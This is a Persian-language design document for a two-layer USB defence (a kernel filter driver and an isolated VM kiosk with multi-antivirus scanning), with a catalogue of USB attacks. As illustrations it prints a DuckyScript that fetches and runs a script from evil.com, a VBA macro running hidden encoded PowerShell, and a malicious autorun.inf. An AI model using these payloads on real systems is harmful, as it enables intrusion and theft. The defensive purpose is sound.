امنیت حافظههای USB در سازمان
مقدمه و بیان مسئله
مسئله به زبان ساده
وقتی شخصی یک فلش USB را به کامپیوتر سازمان وصل میکند، این فلش فقط یک حافظه ساده نیست. یک USB میتواند:
- خودش را به جای موس یا کیبورد جا بزند و دستورات مخرب تایپ کند
- ویروس یا تروجان داخل فایلهایش پنهان کرده باشد
- در سطح فریمور (نرمافزار داخلی تراشه USB) آلوده باشد و هیچ آنتیویروسی آن را نبیند
- رفتار غیرعادی الکتریکی داشته باشد و سختافزار کامپیوتر را تخریب کند
مسئله به زبان فنی
USB attack surface شامل تمام لایههای مدل OSI سختافزار از Physical/Electrical تا Application Layer است. حملاتی مانند BadUSB، Rubber Ducky، USB Killer، LNK Exploit و Firmware-level Rootkit هر یک در لایهای متفاوت عمل میکنند و هیچ راهکار تکلایهای قادر به پوشش همه آنها نیست.
یک آنتیویروس معمولی هیچگاه نمیتواند حملهای در لایه فریمور یا لایه الکتریکی USB را تشخیص دهد — چون اصلاً به آن سطوح دسترسی ندارد.
راهحل ما
معماری دولایه ما با پوشش دادن لایههای متفاوت حمله، دفاع عمیقی را در برابر تمامی انواع تهدیدات USB فراهم میکند:
| لایه | نام | عملکرد |
|---|---|---|
| لایه ۱ | Host Protection | USB در سطح درایور سیستمعامل Host قفل نرمافزاری میشود (بدون نیاز به بستن فیزیکی پورت) |
| لایه ۲ | Virtual Kiosk | USB به یک ماشین مجازی ایزوله ریدایرکت شده، فایلها با چندین آنتیویروس بهصورت موازی اسکن و فقط فایلهای سالم به سازمان منتقل میشوند |
معماری کلی سامانه
سامانه از یک زنجیره دفاعی سلسلهمراتبی تشکیل شده که هر مرحله، USB را از سطحی از تهدیدات پاک میکند. جریان داده از پایین (USB Port) به بالا (شبکه سازمانی) در حرکت است:
شرح مؤلفههای اصلی
لایه اول — Host Protection
سه مؤلفه اصلی در سطح Host فعالیت میکنند:
- USB Filter (Minifilter): رهگیری اولیه رویدادهای اتصال USB در سطح Kernel
- Class Classifier: شناسایی نوع دستگاه بر اساس Device Class (Storage / HID / CDC / ...)
- Policy Engine: تصمیمگیری بین سه حالت
Allow/Deny/Redirect
در پایین این زنجیره، موتور USBDk.msi بهعنوان لایه Passthrough عمل کرده و USB را از Host به ماشین مجازی منتقل میکند.
لایه دوم — Virtual Kiosk
فایلهای داخل USB در محیط ایزوله از این مسیر عبور میکنند:
- USB Mount (Read-Only): اتصال دستگاه با دسترسی فقطخواندنی
- File Extract: استخراج ساختاریافته فایلها
- MultiAV Engine: اسکن موازی با هفت آنتیویروس (
AV1تاAV7) - Verdict Engine: تصمیمگیری نهایی درباره پاک بودن فایل
- Secure Transfer API: انتقال امن فایلهای تأییدشده به شبکه سازمانی
لایه اول: کنترل USB در سطح Host
برای درک اینکه چگونه میتوان USB را بدون بستن فیزیکی پورت کنترل کرد، ابتدا باید بدانیم USB چگونه به سیستمعامل وصل میشود.
مراحل اتصال USB (USB Enumeration)
دید ساده — چگونه فلش به سیستم متصل میشود؟
مراحل اتصال یک USB به سیستمعامل بهصورت زیر انجام میشود:
-
اتصال فیزیکی کاربر فلش را وارد پورت میکند، جریان الکتریکی برقرار میشود و کنترلر USB Host متوجه تغییر ولتاژ روی پینهای
D+وD-میشود. -
شناسایی سختافزاری (Bus Enumeration) USB Host Controller یک آدرس به دستگاه اختصاص میدهد، از آن Device Descriptor میخواهد و دستگاه پاسخ میدهد «من کیام؟» (
VID,PID,Device Class). -
بارگذاری درایور (Driver Binding) سیستمعامل بر اساس Device Class درایور مناسب را انتخاب میکند؛ برای مثال:
Mass Storage → disk.sysیاHID → hidusb.sys. -
دسترسی کاربر (User-Space Access) درایور فایلسیستم (FAT32, NTFS) محتوا را Mount میکند و کاربر در Explorer فایلها را میبیند.
دید فنی — Protocol Stack کامل USB
هر اتصال USB از شش لایه پروتکلی عبور میکند. شناخت این لایهها برای طراحی معماری امنیتی ضروری است:
جزئیات هر لایه:
| لایه | نام | مؤلفههای کلیدی |
|---|---|---|
| 0 | Physical Layer | سیگنالهای الکتریکی USB 2.0/3.0 روی پینهای VBUS, D+, D-, GND |
| 1 | USB Protocol Layer | تراکنشهای SETUP → DATA → ACK، Control Transfer، Descriptor Fields مانند bDeviceClass, idVendor, idProduct |
| 2 | Host Controller Driver | درایور xHCI / eHCI / oHCI، پردازش URB و مدیریت pipeهای Interrupt/Bulk/Isochronous/Control |
| 3 | USB Bus Driver | مدیریت Hub، تخصیص Power به پورتها و ایجاد Device Node در PnP Device Tree |
| 4 | Function Driver | درایور کلاسمحور: USBSTOR.sys → disk.sys برای Storage، hidusb.sys → kbdhid.sys برای HID |
| 5 | File System / Application | NTFS.sys / FAT32 / exFAT، Mount حجم، تخصیص Drive Letter و دسترسی User-Space |
نرمافزار امنیتی میتواند در هر یک از لایههای ۲ تا ۵ مداخله کند. لایههای ۰ (الکتریکی) و ۱ (پروتکلی) تنها با سختافزار قابل کنترل هستند.
طبقهبندی کامل تهدیدات USB بر اساس لایه
جدول جامع تهدیدات
در جدول زیر، ده تهدید اصلی USB به همراه لایه فعالیت و سطح خطر آنها آورده شده است:
| # | نام تهدید | توضیح مختصر | لایه فعالیت | سطح خطر |
|---|---|---|---|---|
| ۱ | USB Killer | تزریق ولتاژ ۲۲۰ ولت از طریق خازنهای داخلی، تخریب پورت در لحظه اتصال | Layer 0 | ⚡ تخریب سختافزار |
| ۲ | BadUSB / Firmware Trojan | بازنویسی فریمور کنترلر (مانند Phison 2251) با ابزار psychson | Layer 1 | 🔴 بحرانی |
| ۳ | Rubber Ducky / HID Attack | برنامهریزی میکروکنترلر (ATmega32u4) با DuckyScript برای Keystroke Injection | Layer 1-2 | 🔴 بحرانی |
| ۴ | USB Crazy / Mouse Jiggler | ارسال بیوقفه حرکات تصادفی موس و کلیدهای ترکیبی برای اختلال در سیستم | Layer 2-3 | 🟠 بالا |
| ۵ | Autorun Malware | قرار دادن فایل autorun.inf با اشاره به Payload مخرب | Layer 5 | 🟡 متوسط |
| ۶ | LNK Exploit (Stuxnet-style) | ساخت فایل .lnk با آیکون مخرب اشارهگر به DLL آلوده (CVE-2010-2568) | Layer 5 | 🔴 بحرانی |
| ۷ | Weaponized Document | تزریق ماکرو VBA در Office، JavaScript Exploit در PDF یا OLE Embedding در RTF | Layer 5 | 🟠 بالا |
| ۸ | Hidden Partition / Dual-Firmware | ایجاد پارتیشن مخفی یا فریمور دوگانه با شرط زمانی | Layer 1 + 5 | 🔴 بحرانی |
| ۹ | USB-to-Ethernet / NIC Attack | معرفی دستگاه بهعنوان Network Adapter و اجرای MITM (LAN Turtle) | Layer 3-4 | 🔴 بحرانی |
| ۱۰ | USB Data Exfiltration | اسکریپت PowerShell/Python برای کپی خودکار دادههای حساس | Layer 5 | 🟠 بالا |
تشریح مفصل هر تهدید
تهدید ۱: USB Killer (لایه الکتریکی)
این حمله در لایه ۰ (فیزیکی) اتفاق میافتد و هیچ نرمافزاری قادر به جلوگیری از آن نیست. تنها راه دفاع، محافظهای سختافزاری هستند.
مکانیزم حمله:
USB Killer با استفاده از خازنهای ولتاژ بالا در داخل خود، انرژی موجود در خط VBUS +5V را جمعآوری کرده و آن را بهصورت شوک الکتریکی معکوس با ولتاژ −۲۲۰ ولت به مادربورد تخلیه میکند. این چرخه چندین بار در ثانیه تکرار میشود:
| مرحله | عملکرد |
|---|---|
| ۱. ورودی | جمعآوری انرژی از VBUS +5V |
| ۲. ذخیره | شارژ خازنهای داخلی (Capacitor Bank) |
| ۳. تخلیه | آزادسازی شوک −220V به سمت مادربورد |
| ۴. نتیجه | 💥 تخریب پورت USB، Chipset و در برخی موارد کل مادربورد |
مشخصات فنی تهدید:
| ویژگی | مقدار |
|---|---|
| لایه فعالیت | Layer 0 — کاملاً الکتریکی |
| قابلیت تشخیص نرمافزاری | ❌ خیر — پیش از رسیدن به OS تخریب رخ میدهد |
| نحوه ساخت | قابل خرید تجاری یا مونتاژ با خازنهای ولتاژ بالا |
| اصل دفاع | جلوگیری از رسیدن انرژی مخرب به مادربورد در سطح فیزیکی |
معماری دفاع سختافزاری (Hardware USB Protection):
برای مقابله با این تهدید، یک زنجیره حفاظتی سختافزاری میان پورت USB و مادربورد قرار میگیرد. این معماری از پایین (نزدیک مادربورد) به بالا (نزدیک پورت USB) بهصورت زیر است:
لایه نرمافزاری کنترل (پس از عبور سیگنال از فیلترهای سختافزاری):
پس از پاک شدن سیگنال از تهدیدات الکتریکی، جریان معمول کنترل امنیتی نرمافزاری آغاز میشود:
Device Detection → Allowlist / Policy → AV / EDR → VM / USB Redirection
USB Killer در Layer 0 عمل میکند؛ بنابراین USB Redirection، VM، آنتیویروس و EDR بهتنهایی قادر به جلوگیری از آسیب الکتریکی نیستند. برای این تهدید، وجود Hardware USB Protection / USB Isolator در مسیر فیزیکی USB ضروری است.
تهدید ۲: BadUSB / Firmware Trojan (لایه فریمور)
مهاجم فریمور تراشه کنترلر USB (مثلاً Phison 2251) را با ابزارهایی مانند psychson بازنویسی میکند. دستگاه در فرآیند Enumeration خود را بهعنوان ترکیبی از حافظه ذخیرهسازی + کیبورد سختافزاری به سیستمعامل معرفی میکند.
مقایسه فریمور سالم و فریمور آلوده:
| ویژگی | 🟢 فریمور سالم | 🔴 فریمور آلوده (Composite) |
|---|---|---|
| Device Class | 0x08 (Mass Storage) | 0x00 (Composite Device) |
| Interface اول | 0x08 — ذخیرهسازی | 0x08 — ذخیرهسازی (پوشش) |
| Interface دوم | — | 0x03 — HID (کیبورد مخفی) |
| رفتار قابل مشاهده | فقط انتقال فایل | ظاهراً فلش، اما تایپ خودکار میکند |
شبیهسازی تزریق فریمور مخرب:
مهاجم Descriptorهای استاندارد USB را در فریمور دستکاری میکند:
# Firmware Descriptor Poisoning Simulation (via Psychson)
original = {
"bDeviceClass": 0x08,
"bInterfaceClass": 0x08,
"idVendor": 0x058F,
"idProduct": 0x6387,
}
malicious = {
"bDeviceClass": 0x00,
"interfaces": [
{ "bInterfaceClass": 0x08 }, # پوشش: Mass Storage
{ "bInterfaceClass": 0x03, # HID
"bInterfaceSubClass": 0x01,
"bInterfaceProtocol": 0x01 }, # Keyboard
],
}
سیستمعامل، دستگاه را همزمان بهعنوان فلش دیسک و کیبورد سختافزاری میشناسد. مهاجم بدون نیاز به سطح دسترسی بالا (Administrator Privileges)، دستورات ترمینالی را مستقیماً تزریق میکند.
مشخصات فنی تهدید:
| ویژگی | مقدار |
|---|---|
| لایه فعالیت | Layer 1 (Firmware/Protocol) |
| خطرناکترین ویژگی | آنتیویروسهای معمولی فایلسیستم را اسکن میکنند، نه فریمور را |
| نشانه در سیستم | در Device Manager دستگاه بهعنوان Composite Device با چندین Interface ظاهر میشود |
| ابزار مهاجم | psychson, BadUSB Toolkit, برنامهریزی مستقیم تراشه |
تهدید ۳: Rubber Ducky / HID Attack (لایه پروتکل + درایور)
دستگاه با میکروکنترلری مانند ATmega32u4 یا Teensy خود را بهعنوان یک کیبورد USB معرفی میکند و اسکریپتهای از پیش نوشتهشده به زبان DuckyScript را با سرعت بالا تایپ میکند.
زنجیره حمله:
میکروکنترلر (ATmega32u4) → پروتکل USB HID Keyboard → بافر ورودی Windows → اجرای دستورات
نمونه اسکریپت DuckyScript:
DELAY 1000
GUI r # Win+R — باز کردن پنجره Run
DELAY 500
STRING powershell -w hidden -ep bypass
STRING -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/sh.ps1')"
ENTER # اجرای دستور دانلود و اجرای Payload
DELAY 2000
GUI d # Minimize All برای مخفی ماندن
ارزیابی تهدید:
| ویژگی | مقدار |
|---|---|
| زمان کل اجرا | ۳ تا ۵ ثانیه |
| قابلیت تشخیص توسط AV سنتی | ❌ غیرقابل تشخیص |
| نحوه آلودهسازی | نوشتن DuckyScript و فلش کردن روی میکروکنترلر |
| لایه فعالیت | Layer 1-2 (پروتکل HID) |
| لایه تشخیص | Layer 3 — تشخیص سرعت تایپ غیرانسانی و الگوی Keystroke |
تهدید ۴: USB Crazy / Mouse Jiggler (لایه درایور)
هدف این تهدید اختلال عملکردی است، نه اجرای Payload. دستگاه با ارسال بیوقفه ورودی موس و کیبورد، سیستم را عملاً فلج میکند.
مراحل اجرای حمله:
-
جعل هویت دوگانه (Dual Emulation): دستگاه بلافاصله پس از اتصال، خود را همزمان بهعنوان یک موس استاندارد و یک کیبورد سختافزاری به سیستمعامل معرفی کرده و تأیید درایور را دریافت میکند.
-
دور زدن قفل صفحه (Anti-Screen Lock): سیگنالها و مختصات حرکتی تصادفی و نامحسوس موس را در فواصل زمانی کوتاه ارسال میکند تا مانع از فعال شدن Screen Lock یا Sleep شود.
-
تزریق میانبرهای مخرب (Destructive Keystrokes): شروع به ارسال کلیدهای ترکیبی سیستمی خطرناک مانند
Alt + F4(بستن برنامهها)،Win + D(دسکتاپ)، یا کلیدهای ترکیبی بحرانی برای اختلال در ابزارهای امنیتی میکند. -
طوفان ورودی (Crazy Mode): در فاز نهایی، تمامی ورودیهای موس و کیبورد را بهصورت همزمان، بیوقفه و با حداکثر سرعت پردازشی ارسال میکند. این امر باعث ایجاد Overflow در بافر ورودی سیستمعامل شده و عملاً سیستم را فلج میکند (Denial of Service سختافزاری).
اختلال کامل در عملکرد اپراتور، مسدود شدن کنترل سیستم و سقوط پایداری سیستمعامل، بدون شناسایی توسط ابزارهای امنیتی مرسوم.
مشخصات فنی:
| ویژگی | مقدار |
|---|---|
| لایه فعالیت | Layer 2-3 |
| تفاوت با Rubber Ducky | هدف اختلال عملکردی است، نه اجرای Payload |
تهدید ۵: Autorun Malware (لایه فایلسیستم)
ویندوز ۱۰/۱۱ قابلیت Autorun برای USB را بهصورت پیشفرض غیرفعال کرده است، اما در سیستمهای قدیمی (ویندوز ۷ و پایینتر) همچنان یک تهدید فعال محسوب میشود.
ساختار فایلهای داخل فلش آلوده (روت E:\):
- 📄
autorun.inf— فایل کانفیگ مخفی و سیستمی - ⚡
malware.exe— بدافزار اصلی (مخفی و سیستمی) - 🖼️
folder.ico— آیکون جعلی برای فریب کاربر - 📁
Documents/— پوشه واقعی بهعنوان طعمه
محتوای فایل پیکربندی autorun.inf:
; ── Windows Autorun Directives ──
[AutoRun]
Open=malware.exe
Action=Open folder to view files
Icon=folder.ico
Label=Documents
Shell\Open\Command=malware.exe
Shell\Explore\Command=malware.exe
سیستمعاملهای قدیمیتر (مانند ویندوز ۷ و قبل از آن)، بلافاصله پس از اتصال دیسک جانبی، فایل autorun.inf را پردازش کرده و بدافزار را با پوشش آیکون پوشه (طعمه) به کاربر ارائه میدهند.
مشخصات فنی:
| ویژگی | مقدار |
|---|---|
| لایه فعالیت | Layer 5 (فایلسیستم) |
| لایه تشخیص | File System Filter Driver (Minifilter) |
| وضعیت در OSهای جدید | غیرفعال بهصورت پیشفرض |
تهدید ۶: LNK Exploit (لایه فایلسیستم — بسیار خطرناک)
این حمله نیاز به کلیک ندارد! فقط باز کردن پوشه در Windows Explorer برای اجرای کد کافی است (Zero-Click Attack).
ساختار فایلها در فلش آلوده:
- ⚙️
~WTR4141.tmp— DLL مخرب اصلی - ⚙️
~WTR4132.tmp— DLL مخرب ثانویه - 🔗
Copy of Shortcut.lnk— فایل میانبر دستکاریشده
مکانیزم اجرای Zero-Click:
-
کاربر به سادگی پوشه روت فلشدیسک را در Windows Explorer باز میکند تا فایلها را مشاهده کند.
-
سرویس Shell ویندوز برای رندر کردن آیکون گرافیکی میانبر
.lnk، کدهای پارس آن را تحلیل میکند. -
به دلیل نقص امنیتی پارسر، سیستمعامل فایلهای DLL معرفی شده بهعنوان آیکون را مستقیماً در حافظه بارگذاری (Load) و بلافاصله اجرا میکند!
آسیبپذیری LNK (CVE-2010-2568) بهعنوان یکی از پیشرفتهترین ابزارهای انتشار سلاح سایبری استاکسنت (Stuxnet) به کار گرفته شد. این کرم با استفاده از این تکنیک خودکار، موفق به عبور از گپ فیزیکی (Air-Gap) و نفوذ به بخشهای کنترل صنعتی (SCADA) سیستمهای سانتریفیوژ تأسیسات هستهای نطنز ایران گردید.
مشخصات فنی:
| ویژگی | مقدار |
|---|---|
| لایه فعالیت | Layer 5 (فایلسیستم + Shell Extension) |
| خطرناکترین ویژگی | نیاز به کلیک ندارد — فقط باز کردن پوشه کافی است |
| CVE مرجع | CVE-2010-2568 |
تهدید ۷: Weaponized Documents (لایه اپلیکیشن)
اسناد مخرب یکی از رایجترین بردارهای حمله USB هستند. مهاجم با تکنیکهای مهندسی اجتماعی، کاربر را متقاعد میکند تا محتوای مخرب را فعال کند.
فرمتهای هدف و روشهای نفوذ:
| فرمت | روش نفوذ |
|---|---|
.docx / .docm | VBA Macro |
.xlsx / .xlsm | VBA Macro + DDE Injection |
.pdf | JavaScript Exploit |
.rtf | OLE Embedding |
.pptx | Action Exploit |
نمونه ماکروی مخرب VBA در سند Word:
'── Malicious Word VBA Macro (Auto-Execution) ──
Sub AutoOpen()
' Executed automatically upon document opening
Dim cmd As String
cmd = "powershell -WindowStyle Hidden -EncodedCommand "
cmd = cmd & "SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0..."
Shell cmd, vbHide
End Sub
بهصورت پیشفرض، سیستمعامل ویندوز و مجموعه آفیس ماکروها را غیرفعال میکنند. با این حال مهاجمان با تکیه بر مهندسی اجتماعی، قربانی را متقاعد میکنند تا با کلیک بر روی دکمه Enable Content، مجوز اجرای کدهای مخرب پشت سند را صادر کند.
مشخصات فنی:
| ویژگی | مقدار |
|---|---|
| لایه فعالیت | Layer 5 (Application) |
| لایه تشخیص | داخل کیوسک توسط Multi-AV با Static Analysis و Sandbox |
تهدید ۸: Hidden Partition / Dual Firmware (لایه فریمور + فایلسیستم)
این تهدید در اسکنهای اولیه کاملاً پاک به نظر میرسد. فریمور تنها پس از چند بار Boot یا اتصال، رفتار مخرب خود را آشکار میکند.
تخصیص فضای فیزیکی حافظه:
| پارتیشن | وضعیت | محتوا |
|---|---|---|
| پارتیشن ۱ (عادی) | 🟢 قابل مشاهده توسط OS | فایلهای مجاز، اسناد کاری و ساختار درایو متعارف جهت فریب کاربر |
| پارتیشن مخفی | 🔴 نامرئی / خفته | پیلودهای مخرب، اسکریپتهای نفوذ و کدهای تبدیل به HID Payload |
الگوریتم فعالسازی شرطی در سطح فریمور:
// ── Firmware Dormancy & Anti-Analysis Logic ──
IF boot_count > 3 THEN
expose_hidden_partition(); // نمایانسازی پارتیشن مخرب در سطح سختافزار
change_device_class(HID); // تغییر هویت دستگاه از Storage به کیبورد
END IF
فریمور تا زمانی که دستگاه چند بار متصل یا Reboot نشود، فعال نمیشود؛ این مکانیزم مانع از شناسایی بدافزار در سندباکسهای امنیتی خودکار (که درایو را فقط یک بار اسکن میکنند) میشود.
مشخصات فنی:
| ویژگی | مقدار |
|---|---|
| لایه فعالیت | Layer 1 + Layer 5 |
| خطرناکترین ویژگی | در اسکنهای اولیه پاک به نظر میرسد |
تهدید ۹: USB-to-Ethernet / Network Hijack (لایه درایور + شبکه)
دستگاههایی مانند LAN Turtle یا Packet Squirrel خود را بهعنوان یک کارت شبکه USB معرفی میکنند و کل ترافیک شبکه سیستم قربانی را از طریق خود مسیریابی میکنند.
زنجیره حمله:
-
معرفی هویت شبکه: دستگاه USB با مقدار
bInterfaceClass = 0x02 (CDC)خود را بهعنوان یک آداپتور شبکه جدید به سیستمعامل معرفی میکند. -
پذیرش خودکار توسط OS: سیستمعامل با نمایش پیام "New Network Adapter Detected!" بلافاصله درایور مربوطه را بارگذاری کرده و کارت شبکه مخرب فعال میشود.
-
راهاندازی DHCP Server مخرب: دستگاه خود را بهعنوان Default Gateway معرفی میکند، DNS را به سرور مهاجم تغییر میدهد و کل ترافیک شبکه سیستم را از طریق USB مسیریابی میکند.
-
حمله Man-in-the-Middle: ضبط اعتبارنامهها (Credentials)، تزریق محتوای مخرب در ترافیک، و ریدایرکت URLها به وبسایتهای فیشینگ بهراحتی امکانپذیر میشود.
این حمله در ویندوز حتی بدون سطح دسترسی Administrator اجرا میشود، چون سیستمعامل بهصورت پیشفرض هر آداپتور شبکه جدید را میپذیرد و DNS آن را در اولویت قرار میدهد.
مشخصات فنی:
| ویژگی | مقدار |
|---|---|
| لایه فعالیت | Layer 3-4 (Bus Driver + Network) |
| ابزار مهاجم | LAN Turtle, Packet Squirrel, USB Rubber Ducky (نسخه شبکه) |
| قابلیت تشخیص | نیاز به مانیتورینگ آداپترهای شبکه جدید در سطح سیستمعامل |
مکانیزم قفل نرمافزاری USB بدون غیرفعالسازی فیزیکی
چطور USB را ببندیم بدون اینکه پورت فیزیکی غیرفعال شود؟
ما اجازه نمیدهیم سیستمعامل درایوری برای USB بارگذاری کند. دستگاه فیزیکی وصل است، برق دارد، اما سیستمعامل اجازه صحبت کردن با آن را ندارد.
یک Kernel-mode Filter Driver (Minifilter) در USB Driver Stack بین USB Hub Driver و Function Driver قرار میگیرد و بر اساس Device Descriptor، تصمیم Allow / Deny / Redirect را میگیرد.
معماری USB Filter Driver در Windows
جایگاه فیلتر امنیتی سفارشی در استک درایور USB ویندوز بهصورت زیر است. جریان از پایین (پورت فیزیکی) به بالا (اپلیکیشن کاربر) در حرکت است:
نقاط رهگیری بستههای سیستمعامل
فیلتر امنیتی، درخواستهای IRP زیر را در سطح Kernel رهگیری میکند:
IRP_MJ_PNPIRP_MN_START_DEVICEIRP_MJ_INTERNAL_DEVICE_CONTROL
ماتریس تصمیمگیری (Decision Matrix)
هر دستگاه USB بر اساس Device Class خود در جدول زیر ارزیابی میشود:
| Device Class | Action | توضیح |
|---|---|---|
0x08 Mass Storage | 🟢 REDIRECT → PVM | فلشهای ذخیرهسازی به VM ارسال میشوند |
0x03 HID | 🔴 BLOCK (اگر مجاز نبود) | فقط کیبورد/موس مجاز عبور میکنند |
0x02 CDC / Network | 🔴 BLOCK | کارت شبکه USB مطلقاً ممنوع |
0x0E Video | 🔴 BLOCK | وبکم USB ممنوع |
0x01 Audio | 🟡 Policy-based | طبق سیاست سازمان |
0x07 Printer | 🟡 Policy-based | طبق سیاست سازمان |
| Composite Device | 🔴 BLOCK + ALERT | چند Interface = مشکوک به BadUSB |
منطق ضد BadUSB
علاوه بر جدول تصمیمگیری، فیلتر دارای منطق شناسایی رفتاری برای حملات پیشرفته است:
# Anti-BadUSB Logic
IF device_claims_HID AND device_has_storage THEN
BLOCK + ALERT("Possible BadUSB")
IF keystroke_speed > 50 chars/sec THEN
BLOCK + ALERT("Possible Rubber Ducky")
عملکرد USB Security Filter Driver
این معماری یک لایه امنیتی سفارشی در سطح Driver به استک USB ویندوز اضافه میکند تا دستگاههای USB پیش از ورود به مسیر اصلی سیستمعامل، بررسی و کنترل شوند.
فیلتر با رهگیری رویدادها و درخواستهای مهم USB، نوع دستگاه و Policy امنیتی را بررسی کرده و بر اساس آن میتواند عملیات Allow، Block، Alert یا Redirect به PVM را انجام دهد.
همچنین منطق Anti-BadUSB برای شناسایی رفتارهای مشکوک، مانند ترکیب HID و Storage یا سرعت غیرعادی Keystroke، در نظر گرفته شده است.
این ساختار باعث میشود کنترل دستگاههای USB در یک نقطه متمرکز و قابل مدیریت انجام شود و Policyهای امنیتی پیش از ادامه مسیر دستگاه اعمال شوند.
ایجاد یک نقطه کنترل مرکزی برای اعمال Policy امنیتی روی دستگاههای USB و جلوگیری از دسترسی یا رفتارهای ناامن، بدون از دست دادن کاربردپذیری.
عملکرد گامبهگام فیلتر درایور
فلوی اجرایی فیلتر امنیتی در چهار گام کلیدی خلاصه میشود:
گام ۱: اتصال فیزیکی USB
- Host Controller تغییر ولتاژ را تشخیص میدهد
- Hub Driver دستگاه را Enumerate میکند
- Device Descriptor خوانده میشود
گام ۲: فعال شدن فیلتر درایور
فیلتر درخواست IRP_MN_QUERY_DEVICE_RELATIONS را Intercept میکند و Device Descriptor را تحلیل میکند:
VID/PIDDevice Class- تعداد Interfaceها (برای تشخیص Composite Device)
String Descriptor(نام تجاری دستگاه)
گام ۳: درخت تصمیمگیری
فیلتر بر اساس منطق زیر تصمیمگیری میکند:
IF Class == Mass Storage (0x08) AND NOT Composite AND VID/PID in Whitelist
THEN ACTION = REDIRECT to PVM VM
ELSE IF Class == HID (0x03) AND NOT in Approved_Keyboards
THEN ACTION = BLOCK
ALERT = "Unauthorized HID"
ELSE IF Composite Device
THEN ACTION = BLOCK
ALERT = "Possible BadUSB"
ELSE ACTION = BLOCK (Default Deny)
گام ۴: اجرای تصمیم (Execution)
درخواست IRP_MN_START_DEVICE با کد STATUS_ACCESS_DENIED برگردانده میشود. درایور Function بارگذاری نمیشود و دستگاه در Device Manager با علامت ❌ نمایش داده میشود، اما پورت فیزیکی همچنان فعال باقی میماند.
USB Passthrough از طریق USB-Redirect به ماشین مجازی PVM هدایت میشود و در محیط ایزوله مورد بررسی قرار میگیرد.
تشخیص حملات HID (Rubber Ducky / BadUSB)
موتور تشخیص حملات HID بر اساس پنج قانون مکمل عمل میکند:
قانون ۱: تحلیل سرعت تایپ (Typing Speed)
- انسان واقعی: ۵ تا ۱۰ کاراکتر در ثانیه
- Rubber Ducky: بیش از ۱۰۰۰ کاراکتر در ثانیه
اگر سرعت تایپ بیشتر از 50 char/s باشد → BLOCK
قانون ۲: تحلیل الگوی زمانی (Timing Pattern)
- انسان واقعی: فاصله نامنظم بین کلیدها
- Rubber Ducky: فاصله دقیقاً یکنواخت
اگر jitter کمتر از 2ms باشد → SUSPICIOUS
قانون ۳: تشخیص Composite Device
- فلش عادی: فقط Mass Storage
- BadUSB: Mass Storage + HID همزمان
اگر Storage و HID در یک دستگاه واحد ظاهر شوند → BLOCK
قانون ۴: تشخیص ناهنجاری VID/PID
اگر VID/PID مدعی برند معتبر (مثلاً Kingston) است اما درخت Descriptor آن با دستگاههای شناختهشده Kingston مطابقت ندارد → ALERT
قانون ۵: تشخیص Re-enumeration پیاپی
اگر یک دستگاه بارها disconnect / reconnect کند (تکنیک تغییر هویت جهت فرار از پالیسی) → BLOCK
نقش USB-Redirect (USB Development Kit)
USB-Redirect چیست؟
USB-Redirect یک نرمافزار واسط است که به ما اجازه میدهد یک USB فیزیکی را از دسترس سیستمعامل اصلی خارج کرده و مستقیماً به یک ماشین مجازی تحویل دهیم. مثل اینکه USB را از کامپیوتر اصلی بکشید و به کامپیوتر دیگری وصل کنید — اما بدون جابهجایی فیزیکی.
USB-Redirect یک Windows Kernel-mode Driver است که USB Device Passthrough را بدون نیاز به USB/IP یا Client-Server model، مستقیماً از طریق Low-level USB API فراهم میکند. این درایور در سطح USB Hub Driver عمل کرده و دستگاه را از Windows PnP Device Tree جدا میکند (Detach) و URBها را مستقیماً به فضای User-space (و از آنجا به PVM) ارسال میکند.
معماری USB-Redirect
USB-Redirect در دو فضای Kernel و User-space فعالیت میکند. جریان از پورت فیزیکی به سمت پروسه PVM در حرکت است:
وظایف اصلی UsbDk.sys
درایور Kernel در چهار عملکرد کلیدی نقش دارد:
- Device Enumeration & Discovery — کشف دستگاههای USB متصل
- Device Detach from Windows PnP Tree — جدا کردن دستگاه از درخت PnP ویندوز
- URB Interception & Forwarding — رهگیری و انتقال درخواستهای USB
- Reset & Re-attach on VM shutdown — بازگردانی دستگاه به Host پس از خاموش شدن VM
چرا USB-Redirect و نه روشهای دیگر؟
مقایسه USB-Redirect با دو راهکار رقیب:
| معیار | USB-Redirect | USB/IP | SPICE USB Redirect |
|---|---|---|---|
| نیاز به شبکه | ❌ خیر | ✅ بله | ✅ بله |
| Latency | بسیار کم | متوسط | متوسط |
| پشتیبانی از USB 3.0 | ✅ کامل | محدود | محدود |
| نصب | ✅ یک MSI | پیچیده | نیاز به SPICE Server |
| عملکرد Kernel-level | ✅ | ❌ User-space | ❌ User-space |
| Open Source | ✅ (Apache 2.0) | ✅ | ✅ |
لایه دوم: ایزولهسازی USB در کیوسک مجازی PVM و اسکن موازی MultiAV
ریدایرکت USB به ماشین مجازی
تصور کنید یک اتاق قرنطینه در بیمارستان دارید. وقتی بیمار مشکوک وارد میشود، او را مستقیماً به اتاق قرنطینه میبرید — نه به بخش عمومی. در آنجا آزمایش میشود و فقط اگر سالم بود، اجازه ورود به بخش اصلی را پیدا میکند.
- USB = بیمار مشکوک
- ماشین مجازی PVM = اتاق قرنطینه
- شبکه سازمانی = بخش عمومی بیمارستان
چرا اسکریپتهای مخرب در کیوسک مجازی اجرا نمیشوند؟
ماشین مجازی طوری تنظیم شده که هیچ برنامهای از روی USB اجرا نمیشود. مثل اینکه فلش را به یک کامپیوتر وصل کنید که اصلاً قابلیت اجرای برنامه ندارد — فقط میتواند فایلها را ببیند و کپی کند.
چرا هر یک از تهدیدات در VM Kiosk خنثی میشوند؟
| تهدید | چرا در VM خنثی است |
|---|---|
| USB Killer | آسیب الکتریکی فقط به Host Controller — VM آسیب نرمافزاری نمیبیند* |
| BadUSB / HID Attack | در لایه ۱ بلاک شده — اصلاً به VM نمیرسد |
| Rubber Ducky | در لایه ۱ بلاک شده — HID مجاز نیست |
| Autorun | در VM فایل autorun.inf اجرا نمیشود + Mount با noexec |
| LNK Exploit | VM بر پایه Linux است؛ فایل .lnk ویندوزی معنا ندارد |
| Weaponized Document | فایل در VM باز نمیشود — فقط اسکن میشود |
| USB Network Attack | در لایه ۱ بلاک شده — CDC Class مجاز نیست |
| Hidden Partition | در VM فقط Read-Only mount و اسکن — اجرا ممکن نیست |
| Script / EXE Execution | Mount با noexec flag — هیچ باینری اجرا نمیشود |
| VM Escape Exploit | VM پس از هر Session تخریب و از Snapshot بازسازی میشود |
*USB Killer تنها تهدیدی است که نیاز به محافظ سختافزاری دارد — نه نرمافزاری.
اسکن موازی MultiAV
